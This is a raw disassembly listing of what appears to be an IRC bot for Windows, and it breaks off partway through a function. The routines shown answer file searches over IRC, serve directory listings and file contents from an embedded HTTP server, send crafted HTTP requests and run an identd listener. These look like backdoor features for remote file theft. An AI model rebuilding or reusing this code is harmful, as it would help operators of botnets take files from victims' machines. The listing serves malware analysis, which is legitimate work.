sub_417700 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh push eax jz short loc_40DE14 push offset aS_15 ; "\\%s" jmp short loc_40DE1C ; --------------------------------------------------------------------------- loc_40DE14: ; CODE XREF: sub_40DDDE+2Dj mov byte ptr [eax], 5Ch push offset aS_16 ; "%s" loc_40DE1C: ; CODE XREF: sub_40DDDE+34j lea eax, [ebp+var_10C] push eax call sub_417CB0 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_414EC0 test eax, eax pop ecx jbe short loc_40DEB7 mov [ebp+arg_8], 2 loc_40DE47: ; CODE XREF: sub_40DDDE+D7j lea eax, [ebp+var_10C] push eax call sub_414EC0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40DE87 cmp [ebp+esi+var_10C], 25h jnz short loc_40DE87 cmp [ebp+esi+var_10B], 32h jnz short loc_40DE87 cmp [ebp+esi+var_10A], 30h jnz short loc_40DE87 inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40DEA1 ; --------------------------------------------------------------------------- loc_40DE87: ; CODE XREF: sub_40DDDE+79j ; sub_40DDDE+83j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40DE97 push 5Ch pop eax jmp short loc_40DE9A ; --------------------------------------------------------------------------- loc_40DE97: ; CODE XREF: sub_40DDDE+B2j movsx eax, al loc_40DE9A: ; CODE XREF: sub_40DDDE+B7j mov [ebp+ebx+var_210], al loc_40DEA1: ; CODE XREF: sub_40DDDE+A7j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_414EC0 cmp esi, eax pop ecx jb short loc_40DE47 loc_40DEB7: ; CODE XREF: sub_40DDDE+60j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_417CB0 lea eax, [ebp+var_314] push offset asc_441066 ; "\n" push eax call sub_418AC0 add esp, 18h lea eax, [ebp+var_314] push eax call dword_4E035C ; GetFileAttributesA xor esi, esi inc esi cmp eax, 10h jz short loc_40DF05 cmp eax, 0FFFFFFFFh jnz short loc_40DF08 push [ebp+arg_0] jmp short loc_40DF84 ; --------------------------------------------------------------------------- loc_40DF05: ; CODE XREF: sub_40DDDE+11Bj mov [ebp+var_4], esi loc_40DF08: ; CODE XREF: sub_40DDDE+120j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40DF15 mov [ebp+var_4], esi loc_40DF15: ; CODE XREF: sub_40DDDE+132j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40DF8F cmp [ebp+arg_C], edi jz short loc_40DF83 lea eax, [ebp+var_314] push offset asc_441068 ; "*" push eax call sub_418880 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_417CB0 lea eax, [ebp+var_210] push eax call sub_40E7CB lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_417CB0 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_40DFDE ; --------------------------------------------------------------------------- loc_40DF83: ; CODE XREF: sub_40DDDE+14Ej push ebx loc_40DF84: ; CODE XREF: sub_40DDDE+125j call dword_4D6700 ; closesocket jmp loc_40E074 ; --------------------------------------------------------------------------- loc_40DF8F: ; CODE XREF: sub_40DDDE+149j push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call dword_4E03D8 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40DFDE lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_417CB0 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call dword_4E03D4 ; GetFileSize push esi mov [ebp+var_330], eax call dword_4E032C ; CloseHandle loc_40DFDE: ; CODE XREF: sub_40DDDE+1A3j ; sub_40DDDE+1CEj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_44106C push eax call sub_417CB0 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_409663 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4495A4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40DC62 push edi push edi call dword_4E0340 ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_4495B4[ecx], eax jnz short loc_40E083 push ebx call dword_4D6700 ; closesocket call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset dword_4410A0 push eax call sub_417CB0 lea eax, [ebp+var_8C4] push eax call sub_40F927 add esp, 10h loc_40E074: ; CODE XREF: sub_40DDDE+1ACj ; sub_40DDDE+2ADj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_40E07B: ; CODE XREF: sub_40DDDE+2ABj push 5 call dword_4E033C ; Sleep loc_40E083: ; CODE XREF: sub_40DDDE+266j cmp [ebp+var_318], edi jz short loc_40E07B jmp short loc_40E074 sub_40DDDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E08D proc near ; CODE XREF: sub_401C87+367Bp ; sub_40DC62+153p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417700 mov edi, [ebp+arg_0] push offset word_4410D6 push edi call sub_418AC0 add esp, 14h cmp [ebp+arg_8], ebx push edi jz short loc_40E0EC push [ebp+arg_8] mov esi, 200h lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_417E80 add esp, 14h jmp loc_40E1E8 ; --------------------------------------------------------------------------- loc_40E0EC: ; CODE XREF: sub_40E08D+3Bj cmp [ebp+arg_C], ebx jz loc_40E1CE call sub_414EC0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_417E80 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_417E80 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send push edi call sub_414EC0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_417E80 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_417E80 add esp, 0Ch jmp short loc_40E1E8 ; --------------------------------------------------------------------------- loc_40E1CE: ; CODE XREF: sub_40E08D+62j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_417E80 add esp, 10h loc_40E1E8: ; CODE XREF: sub_40E08D+5Aj ; sub_40E08D+13Fj lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send cmp [ebp+arg_C], ebx jz short loc_40E280 push [ebp+arg_C] call sub_414EC0 cmp eax, 2 pop ecx jbe short loc_40E280 push [ebp+arg_C] call sub_414EC0 sub eax, 3 pop ecx jz short loc_40E234 loc_40E228: ; CODE XREF: sub_40E08D+1A5j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40E234 dec eax jnz short loc_40E228 loc_40E234: ; CODE XREF: sub_40E08D+199j ; sub_40E08D+1A2j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_417760 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_417E80 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send loc_40E280: ; CODE XREF: sub_40E08D+17Dj ; sub_40E08D+18Bj lea eax, [ebp+var_388] push eax push edi call dword_4E03EC ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_4E03E8 ; FindNextFileA test eax, eax jz loc_40E677 mov edi, 1FFh loc_40E2AC: ; CODE XREF: sub_40E08D+5E4j cmp [ebp+var_388], ebx jz loc_40E65F lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40E65F lea eax, [ebp+var_35C] push offset a__0 ; "." push eax call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40E65F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call dword_4E03E4 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call dword_4E03E0 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm_0 ; "PM" cmp ax, 0Ch ja loc_40E3A9 mov ecx, offset aAm ; "AM" movzx eax, ax loc_40E328: ; CODE XREF: sub_40E08D+322j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_417CB0 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40E4E0 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40E3B4 lea eax, [ebp+var_35C] push eax push offset aS_17 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_417E80 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_417E80 add esp, 28h jmp loc_40E630 ; --------------------------------------------------------------------------- loc_40E3A9: ; CODE XREF: sub_40E08D+28Dj movzx eax, ax sub eax, 0Ch jmp loc_40E328 ; --------------------------------------------------------------------------- loc_40E3B4: ; CODE XREF: sub_40E08D+2D5j cmp [ebp+arg_C], ebx jz loc_40E49E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_417E80 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_3 ; "%s%s/" push edi push eax call sub_417E80 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send lea eax, [ebp+var_35C] push eax call sub_414EC0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_40E45A push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40E45F ; --------------------------------------------------------------------------- loc_40E45A: ; CODE XREF: sub_40E08D+3C4j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40E45F: ; CODE XREF: sub_40E08D+3CBj push edi push eax call sub_417E80 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40E621 ; --------------------------------------------------------------------------- loc_40E49E: ; CODE XREF: sub_40E08D+32Aj lea eax, [ebp+var_35C] push eax push offset aS_18 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_417E80 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_40E4CB: ; CODE XREF: sub_40E08D+47Bj lea eax, [ebp+var_248] push esi push eax call sub_417E80 add esp, 24h jmp loc_40E630 ; --------------------------------------------------------------------------- loc_40E4E0: ; CODE XREF: sub_40E08D+2C9j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40E50A push ebx push [ebp+var_368] call sub_411169 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_40E4CB ; --------------------------------------------------------------------------- loc_40E50A: ; CODE XREF: sub_40E08D+459j cmp [ebp+arg_C], ebx jz loc_40E60A push 0E6h push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_417E80 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_4 ; "%s%s" push edi push eax call sub_417E80 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send lea eax, [ebp+var_35C] push eax call sub_414EC0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_40E5B0 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40E5B5 ; --------------------------------------------------------------------------- loc_40E5B0: ; CODE XREF: sub_40E08D+51Aj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40E5B5: ; CODE XREF: sub_40E08D+521j push edi push eax call sub_417E80 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_417E80 add esp, 1Ch jmp short loc_40E630 ; --------------------------------------------------------------------------- loc_40E60A: ; CODE XREF: sub_40E08D+480j push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_40E621: ; CODE XREF: sub_40E08D+40Cj lea eax, [ebp+var_248] push eax call sub_417E80 add esp, 18h loc_40E630: ; CODE XREF: sub_40E08D+317j ; sub_40E08D+44Ej ... lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send cmp [ebp+arg_8], ebx jz short loc_40E65F push 7D0h call dword_4E033C ; Sleep loc_40E65F: ; CODE XREF: sub_40E08D+225j ; sub_40E08D+240j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_4E03E8 ; FindNextFileA test eax, eax jnz loc_40E2AC loc_40E677: ; CODE XREF: sub_40E08D+214j push [ebp+arg_0] call dword_4E03DC ; FindClose cmp [ebp+arg_8], ebx jz short loc_40E6BA mov eax, [ebp+var_8] cdq push edx push eax call sub_411169 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_411169 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_417CB0 add esp, 14h jmp short loc_40E6E8 ; --------------------------------------------------------------------------- loc_40E6BA: ; CODE XREF: sub_40E08D+5F6j cmp [ebp+arg_C], ebx lea eax, [ebp+var_248] jz short loc_40E6D4 push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_417CB0 pop ecx pop ecx jmp short loc_40E6E8 ; --------------------------------------------------------------------------- loc_40E6D4: ; CODE XREF: sub_40E08D+636j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_417CB0 add esp, 10h loc_40E6E8: ; CODE XREF: sub_40E08D+62Bj ; sub_40E08D+645j lea eax, [ebp+var_248] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4D66B8 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_40E08D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E70E proc near ; CODE XREF: sub_40DC62+135p var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_4E03D8 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E7C6 push esi push ebx call dword_4E03D4 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_40E7BF loc_40E753: ; CODE XREF: sub_40E70E+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417700 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_40E770 mov edi, [ebp+arg_4] loc_40E770: ; CODE XREF: sub_40E70E+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_4E03F0 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_4E03B8 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4D66B8 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E7BA call dword_4D65FC ; WSAGetLastError cmp eax, 2733h jnz short loc_40E7BF xor eax, eax loc_40E7BA: ; CODE XREF: sub_40E70E+9Bj sub [ebp+arg_4], eax jnz short loc_40E753 loc_40E7BF: ; CODE XREF: sub_40E70E+43j ; sub_40E70E+A8j push ebx call dword_4E032C ; CloseHandle loc_40E7C6: ; CODE XREF: sub_40E70E+30j pop edi pop esi pop ebx leave retn sub_40E70E endp ; =============== S U B R O U T I N E ======================================= sub_40E7CB proc near ; CODE XREF: sub_40DDDE+17Bp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_414EC0 test eax, eax pop ecx jbe short loc_40E7F4 loc_40E7DE: ; CODE XREF: sub_40E7CB+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_40E7E8 mov byte ptr [esi+edi], 2Fh loc_40E7E8: ; CODE XREF: sub_40E7CB+17j push edi inc esi call sub_414EC0 cmp esi, eax pop ecx jb short loc_40E7DE loc_40E7F4: ; CODE XREF: sub_40E7CB+11j mov eax, edi pop edi pop esi retn sub_40E7CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E7F9 proc near ; CODE XREF: sub_401C87+429Dp var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4D65D8 ; WSAStartup push 6 push 1 push 2 call dword_4D66E8 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417700 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4D6668 ; ntohs push [ebp+arg_10] mov [ebp+var_E], ax call sub_408766 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4D6610 ; connect cmp eax, 0FFFFFFFFh jz short loc_40E8D6 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_40E872 mov eax, offset dword_4D93A8 loc_40E872: ; CODE XREF: sub_40E7F9+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_417E80 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4D66B8 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_419330 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4D6680 ; recv pop esi loc_40E8D6: ; CODE XREF: sub_40E7F9+6Bj push ebx call dword_4D6700 ; closesocket call dword_4D65C0 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_417CB0 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_40E916 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_40E916: ; CODE XREF: sub_40E7F9+102j pop edi pop ebx leave retn sub_40E7F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40E91A proc near ; DATA XREF: sub_401404+430o ; sub_401C87+2D50o var_238 = byte ptr -238h var_38 = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp+var_1C] push esi push eax mov [ebp+var_8], esi call sub_417700 add esp, 0Ch mov [ebp+var_1C], 2 push 71h call dword_4D6668 ; ntohs push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call dword_4D66E8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40EA7B mov eax, [ebp+arg_0] push edi imul eax, 234h mov dword_4495AC[eax], ebx lea eax, [ebp+var_1C] push eax push ebx call dword_4D6694 ; bind cmp eax, 0FFFFFFFFh jz loc_40EA7B push 5 push ebx call dword_4D6690 ; listen cmp eax, 0FFFFFFFFh jz loc_40EA7B mov [ebp+var_C], edi mov edi, 200h loc_40E9A5: ; CODE XREF: sub_40E91A+EAj ; sub_40E91A+14Aj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call dword_4D66FC ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_40EA76 movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_238] push offset dword_4415B8 push eax call sub_417CB0 lea eax, [ebp+var_238] push eax call sub_40F927 add esp, 14h lea eax, [ebp+var_238] push esi push edi push eax push [ebp+var_4] call dword_4D6680 ; recv cmp eax, 0FFFFFFFFh jz short loc_40E9A5 lea eax, [ebp+var_238] push esi push eax call sub_41198E push 0Ch lea eax, [ebp+var_38] push esi push eax call sub_417700 push esi push esi lea eax, [ebp+var_38] push 2 push eax call sub_409361 push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+var_238] push edi push eax call sub_417E80 add esp, 34h lea eax, [ebp+var_238] push esi push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_238] push eax push [ebp+var_4] call dword_4D66B8 ; send cmp eax, 0FFFFFFFFh jz loc_40E9A5 mov [ebp+var_8], 1 jmp loc_40E9A5 ; --------------------------------------------------------------------------- loc_40EA76: ; CODE XREF: sub_40E91A+A0j cmp [ebp+var_8], esi jnz short loc_40EAA2 loc_40EA7B: ; CODE XREF: sub_40E91A+47j ; sub_40E91A+6Bj ... call dword_4D65FC ; WSAGetLastError push eax lea eax, [ebp+var_238] push offset dword_4415FC push eax call sub_417CB0 lea eax, [ebp+var_238] push eax call sub_40F927 add esp, 10h loc_40EAA2: ; CODE XREF: sub_40E91A+15Fj push ebx call dword_4D6700 ; closesocket push [ebp+var_4] call dword_4D6700 ; closesocket push [ebp+arg_0] call sub_409979 pop ecx push esi call dword_4E03A0 ; ExitThread pop edi pop esi pop ebx sub_40E91A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EAC5 proc near ; DATA XREF: sub_401C87+4D82o var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_417700 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call dword_4D6668 ; ntohs push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4D66E8 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_40EC30 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_4495AC[ecx], eax call dword_4D6578 ; WSAAsyncSelect lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call dword_4D6694 ; bind test eax, eax jnz loc_40EC30 push 0Ah push [ebp+arg_0] call dword_4D6690 ; listen test eax, eax jnz loc_40EC30 loc_40EB75: ; CODE XREF: sub_40EAC5+C6j ; sub_40EAC5+166j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4D66FC ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40EB75 movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_350] push offset unk_441628 push eax call sub_417CB0 push edi lea eax, [ebp+var_350] push 18h push eax call sub_409663 mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_4495A4[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_40EC55 push esi push esi call dword_4E0340 ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_4495B4[ecx], eax jnz short loc_40EC26 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_441670 call sub_40F99B pop ecx pop ecx jmp short loc_40EC33 ; --------------------------------------------------------------------------- loc_40EC1E: ; CODE XREF: sub_40EAC5+164j push 32h call dword_4E033C ; Sleep loc_40EC26: ; CODE XREF: sub_40EAC5+142j cmp [ebp+var_30], esi jz short loc_40EC1E jmp loc_40EB75 ; --------------------------------------------------------------------------- loc_40EC30: ; CODE XREF: sub_40EAC5+63j ; sub_40EAC5+97j ... mov edi, [ebp+arg_0] loc_40EC33: ; CODE XREF: sub_40EAC5+157j push edi call dword_4D6700 ; closesocket push [ebp+arg_0] call dword_4D6700 ; closesocket push [ebp+var_40] call sub_409979 pop ecx push esi call dword_4E03A0 ; ExitThread pop edi pop esi sub_40EAC5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EC55 proc near ; DATA XREF: sub_40EAC5+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word 